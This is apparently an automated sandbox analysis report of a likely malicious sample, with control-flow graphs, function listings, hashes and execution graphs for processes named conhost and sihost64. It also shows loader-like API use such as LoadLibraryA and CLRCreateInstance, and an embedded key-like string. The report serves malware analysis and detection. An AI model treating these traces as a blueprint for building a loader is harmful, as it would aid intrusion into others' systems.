                                                                      control_flow_graph 178 1ec44b2d4a2-1ec44b2d4c5 LoadLibraryA 180 1ec44b2d4d1-1ec44b2d4e4 178->180 181 1ec44b2d4c7-1ec44b2d4cc 178->181 184 1ec44b2d5a6 180->184 185 1ec44b2d4ea-1ec44b2d4fb 180->185 182 1ec44b2d5a8-1ec44b2d5b8 181->182 184->182 185->184 186 1ec44b2d501-1ec44b2d519 185->186 186->184 188 1ec44b2d51f-1ec44b2d553 call 1ec44b2fa5e 186->188 188->184 193 1ec44b2d555-1ec44b2d566 188->193 193->184 194 1ec44b2d568-1ec44b2d57f 193->194 194->184 196 1ec44b2d581-1ec44b2d5a1 call 1ec44b2fa5e 194->196 196->181
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001EC44910000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_1ec44910000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction ID: ebae923b434119ba2f68113624a1345891c3c393e37da8e7bb6d37692078d361
                                                                      • Opcode Fuzzy Hash: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction Fuzzy Hash: A2E0DF3120CE1D0FF758AA9DD88A3B9A6D8F799375F10006EEA4AC2282E085989203D1
                                                                      Function 00007FFD344A194F Relevance: 1.5, Strings: 1, Instructions: 248COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: B_H
                                                                      • API String ID: 0-2026106607
                                                                      • Opcode ID: ad62be72adceb51793e301657ab313d969d70aeb0dc61612e1225dc3e36b1b23
                                                                      • Instruction ID: d1c17bcab44b378f3192451fbc6f0d34773a707e72894e10f0eec8d464070001
                                                                      • Opcode Fuzzy Hash: ad62be72adceb51793e301657ab313d969d70aeb0dc61612e1225dc3e36b1b23
                                                                      • Instruction Fuzzy Hash: 9C713831B0EA4A4FE7D5EB7C44A92B97BE1EF56310B4500B9E04EC7296DD6DAC06C341
                                                                      Function 00007FFD344A19A5 Relevance: 1.4, Strings: 1, Instructions: 195COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: B_H
                                                                      • API String ID: 0-2026106607
                                                                      • Opcode ID: 4de6479e391cd052c6b5a83f4711a33bc254252d41c7844e8768a74e01798d5c
                                                                      • Instruction ID: ad6f9c32a0fdc7da01c82e324fb72c77852864ec2f68924a4e9423fb071cd0b2
                                                                      • Opcode Fuzzy Hash: 4de6479e391cd052c6b5a83f4711a33bc254252d41c7844e8768a74e01798d5c
                                                                      • Instruction Fuzzy Hash: C3512871B0AA4A4FE7E5EB7C44AA27977E1EF5921074900FDE04EC72A6DD6DAC02C340
                                                                      Function 00007FFD344A0120 Relevance: .2, Instructions: 213COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 474 7ffd344a0120-7ffd344a12d1 482 7ffd344a12db-7ffd344a1341 474->482 483 7ffd344a12d3-7ffd344a12d4 474->483 490 7ffd344a1397-7ffd344a13e2 482->490 491 7ffd344a1343-7ffd344a1346 482->491 483->482 498 7ffd344a13e9-7ffd344a141e 490->498 493 7ffd344a1350-7ffd344a1395 491->493 493->498
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 45a821e2f872e3cedf4c8d097a720e16a4226e597386dffabec39e97eea3ed4b
                                                                      • Instruction ID: 8fae34ea3c933ef0669229d48de309708c4a82e2cd367afc6087e84c78f5bdcf
                                                                      • Opcode Fuzzy Hash: 45a821e2f872e3cedf4c8d097a720e16a4226e597386dffabec39e97eea3ed4b
                                                                      • Instruction Fuzzy Hash: DE51E371B1DA854FE794EBBC44696B9BBD1EF99710F4405BDE08EC3292CD6CAC428341
                                                                      Function 00007FFD344A1211 Relevance: .2, Instructions: 190COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: acca9c7087a9467aa455f00f357dc2c0c257a8a917247397208691009b7b35da
                                                                      • Instruction ID: bfc9dc2cfaa33bf47f23c39dde35c7b5be1557cd8de5b26490cd9aa7d56629c0
                                                                      • Opcode Fuzzy Hash: acca9c7087a9467aa455f00f357dc2c0c257a8a917247397208691009b7b35da
                                                                      • Instruction Fuzzy Hash: 2351D661B0DB854FE794EBBC44696A9BBE1EF59310F0405BDE48EC72D3CD6C98428341
                                                                      Function 00007FFD344A097A Relevance: .2, Instructions: 176COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 96147690019c9fe070f73e39563b846ac3e1333998bb5b404e0b03b46b18e95d
                                                                      • Instruction ID: 4a6c03917638d1202b30924f52917e7a6a034b9f817f4c714a3a6e684bc410d7
                                                                      • Opcode Fuzzy Hash: 96147690019c9fe070f73e39563b846ac3e1333998bb5b404e0b03b46b18e95d
                                                                      • Instruction Fuzzy Hash: 1E514830B0E9494FD7D5EFBC84A92A977E1EF56310B4501F9D40DC72A6DE2D9C428381
                                                                      Function 00007FFD344A1092 Relevance: .2, Instructions: 173COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 568 7ffd344a1092-7ffd344a1099 569 7ffd344a109b 568->569 570 7ffd344a10a2-7ffd344a10b3 568->570 569->570 571 7ffd344a10b5 570->571 572 7ffd344a10bc-7ffd344a10cb 570->572 571->572 573 7ffd344a10cd 572->573 574 7ffd344a10d4-7ffd344a10e3 572->574 573->574 575 7ffd344a10e5 574->575 576 7ffd344a10ec-7ffd344a10fb 574->576 575->576 577 7ffd344a10fd 576->577 578 7ffd344a1104-7ffd344a1113 576->578 577->578 579 7ffd344a1115 578->579 580 7ffd344a111c-7ffd344a112b 578->580 579->580 581 7ffd344a112d 580->581 582 7ffd344a1134-7ffd344a1143 580->582 581->582 583 7ffd344a1145 582->583 584 7ffd344a114c-7ffd344a115b 582->584 583->584 585 7ffd344a115d 584->585 586 7ffd344a1164-7ffd344a1173 584->586 585->586 587 7ffd344a1175 586->587 588 7ffd344a117c-7ffd344a118b 586->588 587->588 589 7ffd344a118d 588->589 590 7ffd344a1194-7ffd344a11a3 588->590 589->590 591 7ffd344a11a5 590->591 592 7ffd344a11ac-7ffd344a11bb 590->592 591->592 593 7ffd344a11bd 592->593 594 7ffd344a11c4-7ffd344a11e2 592->594 593->594 597 7ffd344a11e9-7ffd344a11ee call 7ffd344a0120 594->597 599 7ffd344a11f3-7ffd344a120a 597->599
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
                                                                      • Instruction ID: a8aea4908458d3f06657af01d3e1923fd6ff0f11929d75e3f2213d31fdaa4d69
                                                                      • Opcode Fuzzy Hash: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
                                                                      • Instruction Fuzzy Hash: 4F514D20A4F3C15FE3479334ACB9A953FA16F83355F1A41EAE5C5CA4B7C6AE0885C712
                                                                      Function 00007FFD344A07EC Relevance: .1, Instructions: 92COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 52ef3f4b77496989fc18f43127f71c6424363019d99cec0271434f56bb36abf6
                                                                      • Instruction ID: 60951ad5c764af4b4e91682fc06fa78da0f3860b137460eb6f1c7090883ff8f6
                                                                      • Opcode Fuzzy Hash: 52ef3f4b77496989fc18f43127f71c6424363019d99cec0271434f56bb36abf6
                                                                      • Instruction Fuzzy Hash: 6521F23072DA8D0FE7D6EBB884296EA7BE2EF56310B4405B9D08EC76A2CD5D5C428741
                                                                      Function 00007FFD344A6600 Relevance: .1, Instructions: 69COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b60818e063dba800b86d56361b8f3ae0573d93fd9275d2b8067acd851d9c0e6d
                                                                      • Instruction ID: 733624bc16f0d8fdb80d320d3732b78e0fa03167adbb3bcc7cd9f2ba7329084d
                                                                      • Opcode Fuzzy Hash: b60818e063dba800b86d56361b8f3ae0573d93fd9275d2b8067acd851d9c0e6d
                                                                      • Instruction Fuzzy Hash: 23110A52B0F9860FE3D656BC18691A0BBD1DF57260B0901BBD488C71E6DD595C068362
                                                                      Function 00007FFD344A0100 Relevance: .1, Instructions: 59COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: ff98e2035ab60edf73f1448bae0e3095eb728dc6c4911a925793b69f50efb837
                                                                      • Instruction ID: 2062c55a3a18e8464c29650c376020c4d496d574d5938a9bf8d520fccf8facd9
                                                                      • Opcode Fuzzy Hash: ff98e2035ab60edf73f1448bae0e3095eb728dc6c4911a925793b69f50efb837
                                                                      • Instruction Fuzzy Hash: F60170A3B0B8490FE3E4596C08591F5BBD2DF9A250B04017FD48DD31A5EC095C068351
                                                                      Function 00007FFD344A08AA Relevance: .0, Instructions: 46COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 91c6f3d4a3a07730496c943d5805c970c9b07d81a135a435700399e7d4fa9468
                                                                      • Instruction ID: 8df69463d5944d6f511f81931a4551d03d5d5dd4af0db4568a1a488dfb113fef
                                                                      • Opcode Fuzzy Hash: 91c6f3d4a3a07730496c943d5805c970c9b07d81a135a435700399e7d4fa9468
                                                                      • Instruction Fuzzy Hash: 3201DF51A0AA8A4FF7A9ABA8047A2B86AD19F55600F480178D109CB3D6CD6C28029786
                                                                      Function 00007FFD344A0478 Relevance: .0, Instructions: 40COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 879e2d7cdc9355650caf7585d49b2acb16c70741be1747c1344eefbc71cfaa76
                                                                      • Instruction ID: 95d6aae597b13e5a540d216ba4472810db76ab9d4ae8bb3ccc9b596dae08252c
                                                                      • Opcode Fuzzy Hash: 879e2d7cdc9355650caf7585d49b2acb16c70741be1747c1344eefbc71cfaa76
                                                                      • Instruction Fuzzy Hash: 14F0463064E38C2FD7628A388C19BE67FE4EF13320F0401FDE0C8C3191C96C18568662
                                                                      Function 00007FFD344A0794 Relevance: .0, Instructions: 37COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b7c0816e5566a18ccf9b429da6be7db0d23bd3ea1b09435cb5ee1a6ea750aa2e
                                                                      • Instruction ID: 8b449f1789957c5a7067686a7539dc86b6eaa5e5c635a8d8af971526dd0655da
                                                                      • Opcode Fuzzy Hash: b7c0816e5566a18ccf9b429da6be7db0d23bd3ea1b09435cb5ee1a6ea750aa2e
                                                                      • Instruction Fuzzy Hash: 24F0243025FA891FC3C2AFB884686A57FE1CF0622074906FCD089C7AB2C95E4C46C301
                                                                      Function 00007FFD344A04EF Relevance: .0, Instructions: 37COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 101655814f4242908c0cba99a96b61bc0fb083229812e787c0b9628ecb9d49e5
                                                                      • Instruction ID: 8c867003cc06e4e0e92d6304ff37dbc0a5bdeb19e6d3fe5c09f595e97b0e7530
                                                                      • Opcode Fuzzy Hash: 101655814f4242908c0cba99a96b61bc0fb083229812e787c0b9628ecb9d49e5
                                                                      • Instruction Fuzzy Hash: 4BF0243065A7495FC7828EBC88282E5BBE1EF16320F0505FDD049C76A0CA2D1C878642
                                                                      Function 00007FFD344A0AFE Relevance: .0, Instructions: 33COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: af4ab5370a8a6aa7755499d48530ab8fd4d13e01ad6fd287b04be9fde1a0e765
                                                                      • Instruction ID: a39116f9f1ab541576879583355d4cae3c39bd4e0934351696a548fbb73b049f
                                                                      • Opcode Fuzzy Hash: af4ab5370a8a6aa7755499d48530ab8fd4d13e01ad6fd287b04be9fde1a0e765
                                                                      • Instruction Fuzzy Hash: 03F08C7072D6064FEB98EE78846577AB7D1AF9A214F00047CC58EC36D6CE6DA8028682
                                                                      Function 00007FFD344A11D0 Relevance: .0, Instructions: 32COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction ID: dc98034216b21747bf8706207cd85e327dec9758becc9acd4b0d826471f87847
                                                                      • Opcode Fuzzy Hash: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction Fuzzy Hash: 5DE08631B18C1D0FDBA8FB3C5465AA962D7EBDC31075606B6E40CC7356ED28DC518380

                                                                      Execution Graph

                                                                      Execution Coverage:29.5%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:15
                                                                      Total number of Limit Nodes:0
                                                                      execution_graph 291 4023f2 _controlfp 292 4010c4 2 API calls 291->292 293 402473 292->293 277 4022fa 278 40232c 277->278 281 40224f 278->281 280 4023e5 282 402285 281->282 285 4010c4 282->285 284 4022be 284->280 286 402480 285->286 287 4010e7 memset 286->287 288 40115b 287->288 289 401214 sprintf 288->289 290 4012bd 289->290 290->284

                                                                      Callgraph

                                                                      • Executed
                                                                      • Not Executed
                                                                      • Opacity -> Relevance
                                                                      • Disassembly available
                                                                      callgraph 0 Function_004090C0 1 Function_00401443 2 Function_004010C4 14 Function_004019D8 2->14 15 Function_00401D58 2->15 34 Function_00401000 2->34 46 Function_00401D18 2->46 47 Function_00401C98 2->47 59 Function_00401D98 2->59 3 Function_004017C6 4 Function_004024C7 5 Function_004022CB 6 Function_0040224F 6->2 18 Function_00402158 6->18 25 Function_004021EC 6->25 7 Function_00401BD8 27 Function_004018EF 7->27 8 Function_00401F58 8->27 9 Function_00401DD8 9->27 10 Function_00401C58 10->27 11 Function_00401B58 11->27 12 Function_00401AD8 12->27 13 Function_00401A58 13->27 14->27 15->27 16 Function_00401CD8 16->27 17 Function_00402058 17->27 19 Function_004020D8 19->27 20 Function_00401FD8 20->27 21 Function_00401E58 21->27 22 Function_00401ED8 22->27 23 Function_00409CDA 24 Function_004021E5 26 Function_0040946D 64 Function_004014B4 27->64 28 Function_00401970 29 Function_004023F2 29->2 30 Function_00409E76 31 Function_00402477 32 Function_00409678 33 Function_004022FA 33->6 35 Function_00409004 36 Function_00401784 37 Function_00409384 38 Function_00409686 39 Function_00402487 40 Function_00409989 41 Function_00409D8A 42 Function_00409290 43 Function_00402497 44 Function_00401E98 44->27 45 Function_00401F98 45->27 46->27 47->27 48 Function_00401B18 48->27 49 Function_00401A18 49->27 50 Function_00401998 50->27 51 Function_00401A98 51->27 52 Function_00401B98 52->27 53 Function_00401C18 53->27 54 Function_00402118 54->27 55 Function_00401F18 55->27 56 Function_00402098 56->27 57 Function_00402018 57->27 58 Function_00401E18 58->27 59->27 60 Function_00409D9A 61 Function_00409D22 62 Function_004024A7 63 Function_004094AC 64->1 64->28 65 Function_004024B7 66 Function_004096B7 67 Function_004092B8 68 Function_004010BD

                                                                      Executed Functions

                                                                      Function 004010C4 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Strings
                                                                      Memory Dump Source
                                                                      • Source File: 00000011.00000002.2211095652.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000011.00000002.2211064446.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211128350.0000000000403000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211166529.0000000000409000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_17_2_400000_sihost64.jbxd
                                                                      Similarity
                                                                      • API ID: memsetsprintf
                                                                      • String ID: /sihost64
                                                                      • API String ID: 4041149307-4205773068
                                                                      • Opcode ID: cefba8de977c123d82e3319eff45f50c7e87d5e286218d91d05481b0140ea1b6
                                                                      • Instruction ID: 401d2f18aceb12e967e0f5ff0abe8fa7b5c83a7a764193efa4983cc0bf3068a3
                                                                      • Opcode Fuzzy Hash: cefba8de977c123d82e3319eff45f50c7e87d5e286218d91d05481b0140ea1b6
                                                                      • Instruction Fuzzy Hash: 75712A61702B148DEB909B27DC5139A37A8B749FC8F804176EE4CA7B98EE3CCA44C744
                                                                      Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 33 401000-401045 call 402478 36 401048-401050 33->36 37 4010b6-4010bb 36->37 38 401056-4010b4 36->38 38->36
                                                                      Strings
                                                                      • a0&2,y8)6f.l5]k^6=v89mu-bp2zn4*v, xrefs: 00401098
                                                                      Memory Dump Source
                                                                      • Source File: 00000011.00000002.2211095652.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000011.00000002.2211064446.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211128350.0000000000403000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211166529.0000000000409000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_17_2_400000_sihost64.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID: a0&2,y8)6f.l5]k^6=v89mu-bp2zn4*v
                                                                      • API String ID: 0-1260571841
                                                                      • Opcode ID: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
                                                                      • Instruction ID: 0d50406a0cd25772023a57935085f3dfc6f67c384a3cfb9a17e074b16623a215
                                                                      • Opcode Fuzzy Hash: 7c3953f8a7c90db685ffea7de54f2d06ba9ad392580460fe7ac0a4260f709850
                                                                      • Instruction Fuzzy Hash: BC214772B01A40DEEB04CBA9D8913AC3BF1E74878DF00846AEE5DA7B58DA38D5518744
                                                                      Function 004022FA Relevance: .1, Instructions: 61COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000011.00000002.2211095652.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000011.00000002.2211064446.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211128350.0000000000403000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211166529.0000000000409000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_17_2_400000_sihost64.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 4a0ac8e6eccd96365346d7e5f4705697b6c7359cb9289b894d2f67c7d5b7cf9d
                                                                      • Instruction ID: 712002830166568aab168b156390cc9c0f9dd4445f1c5f10fc4b9559ecfc971b
                                                                      • Opcode Fuzzy Hash: 4a0ac8e6eccd96365346d7e5f4705697b6c7359cb9289b894d2f67c7d5b7cf9d
                                                                      • Instruction Fuzzy Hash: 83211CA4301A1488EA80DB57DE5539933A4BB49FC8F40453A9F4CB73E5EEBCC9018358
                                                                      Function 0040224F Relevance: .0, Instructions: 34COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 56 40224f-4022ca call 402158 call 4010c4 call 4021ec
                                                                      Memory Dump Source
                                                                      • Source File: 00000011.00000002.2211095652.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                                                      • Associated: 00000011.00000002.2211064446.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211128350.0000000000403000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                      • Associated: 00000011.00000002.2211166529.0000000000409000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_17_2_400000_sihost64.jbxd
                                                                      Similarity
                                                                      • API ID: memsetsprintf
                                                                      • String ID:
                                                                      • API String ID: 4041149307-0
                                                                      • Opcode ID: 4a964056c5c93370836b2055aa88bb79ebf9a1f25246f745588850a4ea836d32
                                                                      • Instruction ID: b0320e2237b37ba28e1691a43af3f9c87918e2f692b894f33fb3e2e628c141ca
                                                                      • Opcode Fuzzy Hash: 4a964056c5c93370836b2055aa88bb79ebf9a1f25246f745588850a4ea836d32
                                                                      • Instruction Fuzzy Hash: 1B01E4B6701B488DDB40DF66DD8138833A4B708BC8F00492AAF4CA7BA9DA78C6118748

                                                                      Execution Graph

                                                                      Execution Coverage:11.9%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:19
                                                                      Total number of Limit Nodes:2
                                                                      execution_graph 2548 25c641136af LoadLibraryA 2549 25c641136c7 2548->2549 2550 25c64114506 2551 25c64114528 2550->2551 2552 25c6411457c 2551->2552 2553 25c64114654 LoadLibraryA 2551->2553 2554 25c64114669 2551->2554 2553->2551 2554->2552 2561 25c6411471d 2554->2561 2567 25c641136a2 2554->2567 2556 25c641146f3 2557 25c641146f7 2556->2557 2562 25c641137ba LoadLibraryA 2556->2562 2557->2552 2557->2556 2560 25c6411470c 2560->2552 2560->2561 2561->2552 2564 25c641142b2 2561->2564 2563 25c641137df 2562->2563 2563->2560 2565 25c641142f2 CLRCreateInstance 2564->2565 2566 25c6411430b 2564->2566 2565->2566 2566->2552 2568 25c641136af LoadLibraryA 2567->2568 2569 25c641136c7 2568->2569 2569->2556

                                                                      Executed Functions

                                                                      Function 0000025C64114506 Relevance: 1.9, APIs: 1, Instructions: 378libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 0 25c64114506-25c64114557 call 25c641156de * 3 7 25c64114589 0->7 8 25c64114559-25c6411455c 0->8 10 25c6411458c-25c6411459d 7->10 8->7 9 25c6411455e-25c64114561 8->9 9->7 11 25c64114563-25c6411457a 9->11 13 25c6411457c-25c64114583 11->13 14 25c6411459e-25c641145c9 call 25c64115c5e call 25c64115c7e 11->14 13->7 15 25c64114585 13->15 20 25c64114606-25c6411461d call 25c641156de 14->20 21 25c641145cb-25c64114600 call 25c64115892 call 25c64115752 14->21 15->7 20->7 27 25c64114623-25c64114624 20->27 21->20 30 25c64114862-25c64114873 21->30 29 25c6411462a-25c64114630 27->29 31 25c64114632 29->31 32 25c64114669-25c64114673 29->32 35 25c64114875-25c6411487f 30->35 36 25c641148a6-25c641148c7 call 25c64115c7e 30->36 37 25c64114634-25c64114636 31->37 33 25c641146a1-25c641146aa 32->33 34 25c64114675-25c64114690 call 25c641156de 32->34 40 25c641146ac-25c641146b6 call 25c641138d2 33->40 41 25c641146c5-25c641146c8 33->41 34->30 52 25c64114696-25c6411469f 34->52 35->36 42 25c64114881-25c6411489f call 25c64115c7e 35->42 61 25c641148cd-25c641148cf 36->61 62 25c641148c9 36->62 43 25c64114650-25c64114652 37->43 44 25c64114638-25c6411463e 37->44 40->30 58 25c641146bc-25c641146c3 40->58 41->30 48 25c641146ce-25c641146d8 41->48 42->36 43->32 51 25c64114654-25c64114667 LoadLibraryA 43->51 44->43 50 25c64114640-25c6411464e 44->50 54 25c641146e2-25c641146e9 48->54 55 25c641146da-25c641146db 48->55 50->37 50->43 51->29 52->33 52->34 59 25c6411471d-25c64114721 54->59 60 25c641146eb-25c641146ec 